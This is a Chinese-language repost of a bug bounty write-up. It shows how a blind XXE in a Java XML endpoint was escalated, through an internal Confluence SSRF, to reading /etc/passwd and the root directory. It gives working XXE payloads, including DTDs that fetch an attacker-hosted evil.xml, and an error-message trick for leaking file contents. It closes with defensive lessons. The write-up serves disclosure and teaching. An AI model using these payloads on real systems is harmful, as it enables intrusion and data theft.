内容简介:在一次最近的接下来,我大致描述一下我将一个中等难度漏洞提升成高危漏洞的过程和思路。我认为在测试的过程中遇到的错误信息是很重要的,我也会对这些错误信息进行强调,希望这些错误信息能够在未来为其他人指明正确的方向。
在一次最近的 bug bounty
活动中,我找到了一个端点(应用服务)了 HTTP
响应的数据为 XML
结构,我认为这里存在一个 XXE
漏洞。但是关于这个端点(应用服务)是没有文档说明的,唯一能够找到的介绍是一篇2016年一位心烦意乱的开发人员写的。
接下来,我大致描述一下我将一个中等难度漏洞提升成高危漏洞的过程和思路。
我认为在测试的过程中遇到的错误信息是很重要的,我也会对这些错误信息进行强调,希望这些错误信息能够在未来为其他人指明正确的方向。
注意:我已经对端点和其他信息进行了隐藏,因为漏洞是作为私有披露计划的一部分报告的,受影响的公司不希望发布任何关于其环境或发现的信息。
我发现了什么
为什么这个端点能够引起我的注意,是因为这个端点响应的是一个简单的 XML
结构的错误信息和404。
请求:
GET /interesting/ HTTP/1.1 Host: server.company.com
响应
HTTP/1.1 404 Not Found Server: nginx Date: Tue, 04 Dec 2018 10:08:18 GMT Content-Type: text/xml Content-Length: 189 Connection: keep-alive <result> <errors> <error>The request is invalid: The requested resource could not be found.</error> </errors> </result>
我改变请求的方法为 POST
时,在 header
头部添加 Content-Type: application/xml
并在 POST
数据中添加了一个不合法的 XML
数据,响应更加说明这里有 XXE
漏洞了。
请求:
POST /interesting/ HTTP/1.1 Host: server.company.com Content-Type: application/xml Content-Length: 30 <xml version="abc" ?> <Doc/>
响应:
<result> <errors> <error>The request is invalid: The request content was malformed: XML version "abc" is not supported, only XML 1.0 is supported.</error> </errors> </result>
但是当我发送一个正确的结构化的 XML
文档时:
请求:
POST /interesting/ HTTP/1.1 Host: server.company.com Content-Type: application/xml Content-Length: 30 <?xml version="1.0" ?> <Doc/>
响应:
<result> <errors> <error>Authentication failed: The resource requires authentication, which was not supplied with the request</error> </errors> </result>
注意了,服务器明显需要凭证,在交互的过程中。遗憾的是,没有文档说明应该如何提供凭证,我也无法在任何地方找到可能有效的凭证。这可能是个坏消息,因为我以前遇到的许多XXE漏洞需要与端点进行某种“有效”交互。如果没有身份验证,利用这个漏洞可能会变得困难得多。
但是现在还没有必要担心!在任何情况下,您都应该尝试包含 DOCTYPE
定义的字串,以查看是否完全禁止使用外部实体,或者是否可以继续追求乐趣和回报。所以我试着发送了如下请求包:
请求
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://59c99fu65h6mqfmhf5agv1aptgz6nv.burpcollaborator.net/x"> %ext; ]> <r></r>
响应:
The server was not able to produce a timely response to your request.
我看了下我的 Burp Collaborator
交互界面,没有期望的 HTTP
请求,只有如下部分。
幸运的是!服务器明显解析了我的域名,但是没有 HTTP
请求。此外,注意到了服务器在几秒之后出现500错误。
看起来像防火墙起作用了。我继续尝试进行针对不同端口的出站 HTTP
请求。但是没有可以达到效果的。所有端口都超时了,显示受影响的服务器至少可以依赖防火墙成功地阻止所有非预期的出站流量。给网络安全团队5分!
只能做 blind xxe
在这一点上,我有一个有趣的发现,但还没有什么真正值得说明的。通过尝试访问本地文件、内部网络和内部服务,我希望能够从中获得一份中危的报告。
为了证明影响,我展示了此漏洞可以用来成功确定文件是否存在:
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "file:///etc/passwd"> %ext; ]> <r></r>
响应
The markup declarations contained or pointed to by the document type declaration must be well-formed.
这表明文件存在,XML解析器可以打开和读取文件,但是文件的内容不是有效的文档类型定义(DTD),因此解析器失败并抛出错误。换句话说,外部实体的加载并没有被禁用,但是我们似乎没有得到任何输出。在这个阶段,这似乎是一个blind XXE漏洞。
假设使用的是 Java
的 SAX Parser
解析器,因为报错似乎和 Java
错误类 有联系 org.xml.sax.SAXParseExceptionpublicId
这很有趣,因为 Java 在涉及XXE时有许多特性,我们稍后将指出这一点。
当我们访问的文件不存在时,响应是这样的:
请求
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "file:///etc/passwdxxx"> %ext; ]> <r></r>
响应:
The request is invalid: The request content was malformed: /etc/passwdxxx (No such file or directory)
好的,有用但不太好; 如何使用这个 blind XXE
漏洞作为基本端口扫描器?
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://localhost:22/"> %ext; ]> <r></r>
响应
The request is invalid: The request content was malformed: Invalid Http response
很好——这意味着我们可以列举内部服务。这仍然不是我想要的很酷的结果,但至少是一些值得报道的东西。这种类型的 blind XXE
有效地表现为与 blind
服务器端请求伪造( SSRF
)漏洞类似的行为:您可以启动内部 HTTP
请求,但不能读取响应。
这让我怀疑是否可以应用任何其他与 ssrf
相关的技术,以便更好地利用这个 blind XXE
漏洞。需要检查的一件事是对其他协议的支持,包括 https
、 gopher
、 ftp
、 jar
、 scp
等。
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "gopher://localhost/"> %ext; ]> <r></r>
响应:
The request is invalid: The request content was malformed: unknown protocol: gopher
这很有趣,因为它将用户提供的协议在错误消息中返回回来。我们把它记下来,以后再用。
漏洞与 blind ssrf
漏洞具有相似性,看看我们是否能够访问任何内部 web
应用程序是有意义的。由于我的目标公司似乎与相当广泛和多样化的开发人员合作, GitHub
中充斥着 x.company.internal
格式的地址。我找到了一些看起来很有前途的内部资源(很可能有漏洞的服务器)。
wiki.company.internal jira.company.internal confluence.company.internal
考虑到防火墙之前阻止了我的传出流量,我想验证内部流量是否也被阻止了,或者内部网络是否更可信。
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://wiki.company.internal/"> %ext; ]> <r></r>
响应
The markup declarations contained or pointed to by the document type declaration must be well-formed.
有趣的是,我们以前看到过这个错误消息,它表示读取了请求的资源,但是没有正确格式化。这意味着允许内部网络通信,并且我们的内部请求成功了!
这就是我们的处境。使用 blind XXE
漏洞,可以向许多内部web应用程序发起请求,枚举文件系统中文件的存在性,以及枚举在所有内部主机上运行的服务。在这一点上,我报告了这种漏洞,并在周末前往耶路撒冷的城市之旅中思考进一步的可能性。
独眼称王
周末精神焕发地回来后,我下定决心要找出这个脆弱点可能造成的影响。具体来说,如果我可以在内部网络上找到一个类似代理的主机,未经过滤的内部网络流量可能被滥用将流量路由到外部。
通常,在没有任何形式的可读反馈的情况下,在web应用程序上发现漏洞几乎是不可能的。幸运的是,在 Jira中存在一个已知的SSRF漏洞 ,这已经在 许多文章中 得到了证明。
我立即去测试我的运气与内部的Jira服务器
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "https://jira.company.internal/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext; ]> <r></r>
响应:
The request is invalid: The request content was malformed: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
HTTPS
的流量失败了,如果 SSL
验证出错的话。幸运的是, Jira
默认在 8080
端口上运行 HTTP
服务。
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext; ]> <r></r>
响应:
The request is invalid: The request content was malformed: http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri
我又检查了一下 Burp Collaborator
的交互信息,但运气不佳。 Jira
实例可能已经打了补丁,或者已经禁用了易受攻击的插件。于是,我疯狂而徒劳地寻找不同类型的 Wiki
应用程序上已知的 SSRF
漏洞之后(并不是最优选择),我决定测试内部 Confluence
实例是否存在相同的 Jira
漏洞(默认情况下运行在端口8090上)。
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext; ]> <r></r>
响应:
The request is invalid: The request content was malformed: The markup declarations contained or pointed to by the document type declaration must be well-formed.
发现
我们成功地通过一个内部易受攻击的 Confluence
来绕过防火墙限制出站的 internet
流量。这意味着我们现在可以尝试 XXE
的经典方法。让我们从托管一个 evil.xml
文件开始。攻击者服务器托管 evil.xml
,包含以下内容,希望触发有趣的错误消息:
<!ENTITY % file SYSTEM "file:///"> <!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">
让我们更详细地看看这些参数实体的定义:
- 将外部引用(在本例中是系统的/目录)的内容加载到变量中(%file)
- 定义一个变量(%ent);它实际上只是将各个部分链接在一起来解释第三个实体
- 尝试在(%file)位置访问资源;(无论它指向何处)并将该位置中的任何内容加载到实体(data)中。
注意,我们希望第三个定义失败,因为 (%file)
的内容;不会指向有效的资源位置,而是包含完整目录的内容。
现在,使用 Confluence
( proxy
)指向我们的恶意文件,并确保参数 (%ent)
; 实体参数 (&data;)
被访问以触发目录访问:
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml"> %ext; %ent; ]> <r>&data;</r>
响应
no protocol: bin boot dev etc home [...]
太棒了!列出了服务器的目录内容!
有趣的是,这显示了从服务器返回基于错误的输出的另一种方法,即指定一个“丢失的”协议,而不是我们前面看到的无效协议。
这可以帮助我们解决在读取包含冒号的文件时遇到的最后一个难点,因为使用上述方法读取 /etc/passwd
会导致以下错误:
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml"> %ext; %ent; ]> <r>&data;</r>
响应:
unknown protocol: root
换句话说,在冒号 :
第一次出现之前,可以读取文件,但是读取冒号之后不能再读取了。绕过这一点并强制在错误消息中显示完整的文件内容的一种方法是在文件内容之前加上一个冒号。这将导致 no protocol
错误,因为第一个冒号之前的字段将是空的,即未定义。托管的 evil.xml
修改为:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml"> %ext; %ent; ]> <r>&data;</r>
响应:
no protocol: :root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync […]
Java 在访问目录时还会返回目录列表,于是尝试访问根目录文件。
evil.xml
<!ENTITY % file SYSTEM "file:///root"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
请求:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml"> %ext; %ent; ]> <r>&data;</r>
响应:
no protocol: :.bash_history .bash_logout .bash_profile .bashrc .pki .ssh [...]
就是这样,看来我们很幸运。通过滥用不充分的网络分隔、未打补丁的内部应用程序服务器、过度特权的web服务器以及通过过于冗长的错误消息传递导致的信息泄漏,我们成功地将一个 blind XXE
漏洞提升为读取 root
目录和文件的漏洞。
经验
红队:
- 如果有东西看起来很奇怪,那么继续挖掘
-
Java SAX
解析器对URL
模式的有趣处理允许使用一些新的方法提取信息。虽然现代Java
版本不允许将多行文件作为外部HTTP请求(即attacker.org/?&file;
)的方式导出,但是在错误消息中,甚至在URL
协议中,都可以获得多行响应
蓝队:
- 确保内部服务器和面向公众的服务器一样得到了及时的修补
- 不要把内部网络视为一个受信任的安全区,而应采用适当的网络分隔
- 将详细的错误消息写入错误日志,而不是HTTP响应
- 依赖身份验证并不一定能缓解诸如XXE之类的低级问题
时间线:
1.20181126-第一次注意到有趣的XML端点
2.20181128-blind XXE报告:可以列举文件、目录、内部网络位置和开放端口
3.20181203-发现易受攻击的内部Confluence服务器,报告POC演示了读取根目录文件的能力
4.20181204-漏洞修复获得奖金
5.20181206-申请发表文章;
6.20181212-批准。
以上所述就是小编给大家介绍的《从 blind XXE 到读取根目录文件》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
学习JavaScript数据结构与算法(第2版)
[巴西] Loiane Groner / 邓 钢、孙晓博、吴 双、陈 迪、袁 源 / 人民邮电出版社 / 2017-9 / 49.00元
本书首先介绍了JavaScript 语言的基础知识以及ES6 和ES7 中引入的新功能,接下来讨论了数组、栈、队列、链表、集合、字典、散列表、树、图等数据结构,之后探讨了各种排序和搜索算法,包括冒泡排序、选择排序、插入排序、归并排序、快速排序、堆排序、计数排序、桶排序、基数排序、顺序搜索、二分搜索,然后介绍了动态规划和贪心算法等常用的高级算法以及函数式编程,最后还介绍了如何计算算法的复杂度。一起来看看 《学习JavaScript数据结构与算法(第2版)》 这本书的介绍吧!